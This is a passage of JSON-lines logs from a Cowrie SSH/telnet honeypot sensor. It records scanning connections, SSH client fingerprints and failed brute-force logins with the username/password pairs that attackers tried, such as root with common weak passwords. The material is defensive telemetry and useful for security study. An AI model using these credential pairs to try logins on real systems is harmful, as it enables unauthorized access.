lman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:30.459665Z","src_ip":"124.155.125.131","session":"0cd55efb6662","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:30.820627Z","src_ip":"45.156.87.204","session":"e1c9ec40db84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"game","password":"game123","message":"login attempt [game/game123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:31.183534Z","src_ip":"124.155.125.131","session":"0cd55efb6662","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:32.360530Z","src_ip":"124.155.125.131","session":"0cd55efb6662","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":58556,"dst_ip":"159.203.135.109","dst_port":22,"session":"1470730b9b19","protocol":"ssh","message":"New connection: 45.156.87.204:58556 (159.203.135.109:22) [session: 1470730b9b19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:32.992542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:32.997373Z","src_ip":"45.156.87.204","session":"1470730b9b19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:33.081084Z","src_ip":"45.156.87.204","session":"1470730b9b19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazXSW@","message":"login attempt [root/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:33.328403Z","src_ip":"45.156.87.204","session":"1470730b9b19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.2521071434021,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:33.638640Z","src_ip":"152.42.224.71","session":"16326a6b881d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:34.414107Z","src_ip":"45.156.87.204","session":"1470730b9b19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.111.76.195","src_port":35810,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd984850502a","protocol":"ssh","message":"New connection: 83.111.76.195:35810 (159.203.135.109:22) [session: fd984850502a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:34.439751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:34.449070Z","src_ip":"83.111.76.195","session":"fd984850502a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:34.655667Z","src_ip":"83.111.76.195","session":"fd984850502a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Teste@123","message":"login attempt [root/Teste@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:35.515712Z","src_ip":"83.111.76.195","session":"fd984850502a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":59824,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1cb45361a9a","protocol":"ssh","message":"New connection: 37.233.85.71:59824 (10.17.0.5:22) [session: c1cb45361a9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:35.881428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:35.886130Z","src_ip":"37.233.85.71","session":"c1cb45361a9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:35.987258Z","src_ip":"37.233.85.71","session":"c1cb45361a9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qw12345","message":"login attempt [root/qw12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:36.289274Z","src_ip":"37.233.85.71","session":"c1cb45361a9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:36.726153Z","src_ip":"83.111.76.195","session":"fd984850502a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":58560,"dst_ip":"159.203.135.109","dst_port":22,"session":"495bbd2b2fb6","protocol":"ssh","message":"New connection: 45.156.87.204:58560 (159.203.135.109:22) [session: 495bbd2b2fb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:36.755489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:36.777092Z","src_ip":"45.156.87.204","session":"495bbd2b2fb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:36.845073Z","src_ip":"45.156.87.204","session":"495bbd2b2fb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chatgpt","password":"chatgpt","message":"login attempt [chatgpt/chatgpt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:37.161257Z","src_ip":"45.156.87.204","session":"495bbd2b2fb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48412,"dst_ip":"10.17.0.5","dst_port":23,"session":"26cb00a22fe5","protocol":"telnet","message":"New connection: 152.42.224.71:48412 (10.17.0.5:23) [session: 26cb00a22fe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:37.260979Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:37.392378Z","src_ip":"37.233.85.71","session":"c1cb45361a9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:38.245726Z","src_ip":"45.156.87.204","session":"495bbd2b2fb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":58576,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a493c5194b3","protocol":"ssh","message":"New connection: 45.156.87.204:58576 (159.203.135.109:22) [session: 9a493c5194b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:40.286941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:40.291290Z","src_ip":"45.156.87.204","session":"9a493c5194b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:40.373799Z","src_ip":"45.156.87.204","session":"9a493c5194b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123456","message":"login attempt [es/es123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:40.620208Z","src_ip":"45.156.87.204","session":"9a493c5194b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:41.712705Z","src_ip":"45.156.87.204","session":"9a493c5194b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":53318,"dst_ip":"159.203.135.109","dst_port":22,"session":"40d6e3ab76f1","protocol":"ssh","message":"New connection: 47.237.167.49:53318 (159.203.135.109:22) [session: 40d6e3ab76f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:43.365295Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":48180,"dst_ip":"159.203.135.109","dst_port":22,"session":"de8ec3ded3f3","protocol":"ssh","message":"New connection: 45.156.87.204:48180 (159.203.135.109:22) [session: de8ec3ded3f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:44.135720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:44.155126Z","src_ip":"45.156.87.204","session":"de8ec3ded3f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:44.245131Z","src_ip":"45.156.87.204","session":"de8ec3ded3f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1","message":"login attempt [minecraft/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:44.554623Z","src_ip":"45.156.87.204","session":"de8ec3ded3f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:45.640188Z","src_ip":"45.156.87.204","session":"de8ec3ded3f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.33771896362305,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:46.601788Z","src_ip":"152.42.224.71","session":"8c52f1741ebc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60900,"dst_ip":"10.17.0.5","dst_port":23,"session":"409cd7c54e3f","protocol":"telnet","message":"New connection: 152.42.224.71:60900 (10.17.0.5:23) [session: 409cd7c54e3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:47.084624Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":48184,"dst_ip":"159.203.135.109","dst_port":22,"session":"179004fb557b","protocol":"ssh","message":"New connection: 45.156.87.204:48184 (159.203.135.109:22) [session: 179004fb557b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:47.764889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:47.769897Z","src_ip":"45.156.87.204","session":"179004fb557b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:47.852068Z","src_ip":"45.156.87.204","session":"179004fb557b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@123456","message":"login attempt [root/Aa@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:48.103287Z","src_ip":"45.156.87.204","session":"179004fb557b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:49.189151Z","src_ip":"45.156.87.204","session":"179004fb557b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:48:50.872934Z","src_ip":"47.237.167.49","session":"40d6e3ab76f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-n